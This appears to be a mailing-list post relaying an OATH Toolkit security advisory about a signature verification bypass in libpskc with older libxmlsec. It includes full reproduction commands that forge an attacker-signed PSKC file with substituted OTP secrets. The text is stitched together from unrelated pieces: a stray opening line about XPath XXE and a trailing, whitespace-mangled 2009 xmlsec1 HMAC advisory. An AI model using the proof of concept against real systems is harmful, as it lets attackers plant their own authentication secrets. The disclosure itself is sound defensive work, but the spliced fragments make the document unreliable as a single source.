XPath.compile creates a new XPathExpression where xmlSecMgr is null opening up XXE and XEE attacks.

FYI - also via https://oath-toolkit.codeberg.page/CVE-2026-109117.html

/Simon

Simon Josefsson via OATH Toolkit general discussions <oath-toolkit-help () nongnu org> writes: OATH Toolkit PSKC Signature Verification bypass in libpskc (CVE-2026-109117) ----------------------------------------------------------------------------

Security Vulnerability ----------------------

OATH Toolkit provides a library for handling PSKC data called 'libpskc', and a command-line tool 'pskctool' that uses libpskc.

PSKC is a XML data format defined in RFC 6030 that can be used to transport OATH HOTP/TOTP HMAC-SHA symmetric secret keys. Libpskc relies on the XML Security Library (libxmlsec) for cryptographic signature verification of the PSKC data.

The RFC 6030 specification section 7 available from https://datatracker.ietf.org/doc/html/rfc6030#section-7 is not clear what the purpose and goal of adding a Digital Signature on PSKC data is, nor what the threat model is. It could be argued that rather than authenticating the data for trust purposes, the goal of a PSKC signature could be to provide integrity protection of the content and a data origin identification.

The libxmlsec library before v1.3.3 allowed the XML data to provide a key that will be used to verify the signature, instead of the key provided by the library/application. Version 1.3.3 of libxmlsec changed so that it no longer trusts the key data inside the XML data by default.

PSKC data is rarely encrypted (and OATH Toolkit do not support PSKC encryption), therefore deployments require some outer protection of the PSKC data to protect the OATH HOTP/TOTP secrets from leaking during transport. SSH and HTTPS are typical transport protocols used for this, although offline physical transports (e.g., USB memory devices) is common from production facilities.

However, if an attacker is able to circumvent the outer transport protection and substitute their own PSKC data to a system that relies on PSKC Signature Verification before trusting the incoming PSKC data, the attacker would be able to substitute their own OATH HOTP/TOTP secrets or otherwise cause the system to process the incoming PSKC data as trustworthy.

The problem only occurs when OATH Toolkit's libpskc is linked to libxmlsec older than 1.3.3, which was released on 2024-01-04. The release notes for libxmlsec says:

(xmlsec-core) Disabled KeyValue and DEREncodedKeyValue XML nodes by default. Use the '--enabled-key-data' option for the xmlsec command line utility or update the 'keyInfoCtx.enabledKeyData' parameter if you need to re-enable these nodes (also see question 3.5 in the FAQ).

The FAQ at https://www.aleksey.com/xmlsec/faq.html state that the old the behaviour is INSECURE AND NOT RECOMMENDED. Therefore we consider the underlying cause to be a libxmlsec security problem, which ought to have been patched and deployed earlier.

We encourage further research into other applications using libxmlsec that may be similarly affected. An earlier report from 2013 exists: https://www.aleksey.com/pipermail/xmlsec/2013/009717.html

Many distributions and deployments still uses libxmlsec 1.2.x including Debian 12 (1.2.37), Debian 13 (1.2.41), Ubuntu 22.04 (1.2.33), Ubuntu 24.04 (1.2.39) and RHEL 9 (1.2.33).

We are not aware of any active exploits in the wild of this flaw, and because of the outer protection required for PSKC data we do not know of, or can conceive, any realistic scenario where this problem could be exploited.

We acknowledge that this may be considered a problem in OATH Toolkit, and publish this advisory and a set of patches that prevents the problem from occurring when libpskc is used with older libxmlsec.

Severity: low. Likely no practical implications.

Affected versions and configurations ------------------------------------

Support for sign/verify of PSKC data was introduced in version 2.0.1 released on 2012-10-24 and not fixed up to and including 2.6.14 released on 2026-01-27. Version 2.6.15 released on 2026-10-13 prevents the problem.

Reproduce ---------

First create a baseline, with a sample PSKC file.

cat<<EOF>pskc.xml <?xml version="1.0" encoding="UTF-8"?> <KeyContainer Version="1.0" xmlns="urn:ietf:params:xml:ns:keyprov:pskc"> <KeyPackage> <DeviceInfo> <Manufacturer>Manufacturer</Manufacturer> <SerialNo>987654321</SerialNo> </DeviceInfo> <Key Id="12345678" Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp"> <AlgorithmParameters> <ResponseFormat Length="8" Encoding="DECIMAL"/> </AlgorithmParameters> <Data> <Secret> <PlainValue>MTIzNDU2Nzg5MDEyMzQ1Njc4OTA= </PlainValue> </Secret> <Counter> <PlainValue>0</PlainValue> </Counter> </Data> </Key> </KeyPackage> </KeyContainer> EOF

Create a new trusted key and cert:

openssl req -x509 -newkey rsa:2048 -nodes -keyout trusted.key -out trusted.crt -days 3650 -subj "/CN=Trusted PSKC Signer"

Sign the PSKC data:

pskctool --sign --sign-key trusted.key --sign-crt trusted.crt pskc.xml > signed-legit.xml

Confirm verification works fine:

pskctool --verify --verify-crt trusted.crt signed-legit.xml OK

Now simulate an attacker that uses a XML template like this:

cat<<EOF>attack-template.xml <?xml version="1.0" encoding="UTF-8"?> <KeyContainer Version="1.0" Id="KC0001" xmlns="urn:ietf:params:xml:ns:keyprov:pskc"> <KeyPackage> <Key Id="12345678" Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp"> <Issuer>Attacker</Issuer> <Data> <Secret> <PlainValue>QUJDREVGR0gK</PlainValue> </Secret> </Data> </Key> </KeyPackage> <Signature xmlns="http://www.w3.org/2000/09/xmldsig#";> <SignedInfo> <CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <Reference URI=""> <Transforms> <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> </Transforms> <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <DigestValue/> </Reference> </SignedInfo> <SignatureValue/> <KeyInfo> <KeyValue/> </KeyInfo> </Signature> </KeyContainer> EOF

Create an attacker-controlled private key/cert and sign the PSKC data:

openssl req -x509 -newkey rsa:2048 -nodes -keyout attacker.key -out attacker.crt -days 3650 -subj "/CN=Attacker" xmlsec1 --sign --privkey-pem attacker.key --output attack-signed.xml attack-template.xml

Now witness that pskctool says it is properly signed:

pskctool --verify --verify-crt trusted.crt attack-signed.xml OK

If accepted by some processing entity, it would now trust the data and could rely on the OATH secret embedded in the file.

Recommendation --------------

We recommend you to review your outer PSKC data transport protection to confirm it provides authenticity, integrity and confidentiality of your data before it reaches libpskc/pskctool.

As an additional precaution (if the outer protection fails), we recommend you to upgrade to OATH Toolkit 2.6.15 (or later) and/or upgrade libxmlsec to 1.3.3 (or later). If upgrading is unpractical we recommended you to apply the relevant patches on the versions you use.

Solution --------

The patch we use is to restrict KeyValue to X509Data only:

https://codeberg.org/oath-toolkit/oath-toolkit/commit/5000be81a938a3bc01fb1a4636e89c19588ce7fb

History -------

Report by private e-mail from info <info () uc surf> on 2026-10-11. Correspondence about a proof-of-concept that lead to confirming the issue on 2026-10-12. CVE assigned by GitLab on 2026-10-12. Version 2.6.15 release on 2026-10-13.

Credits -------

Report by info <info () uc surf>, advisory and patch by Simon Josefsson.

The XML Security Library is a C library based on libxml2 and OpenSSL. Itimplements the XML Signature Syntax and Processing and XML EncryptionSyntax and Processing standards. HMAC is used for message authenticationusing cryptographic hash functions. The HMAC algorithm allows the hashoutput to be truncated (as documented in RFC 2104).A missing check for the recommended minimum length of the truncated form ofHMAC-based XML signatures was found in xmlsec1. An attacker could use thisflaw to create a specially-crafted XML file that forges an XML signature,allowing the attacker to bypass authentication that is based on the XMLSignature specification. (CVE-2009-0217)Users of xmlsec1 should upgrade to these updated packages, which containa backported patch to correct this issue. After installing the updatedpackages, applications that use the XML Security Library must be restartedfor the update to take effect.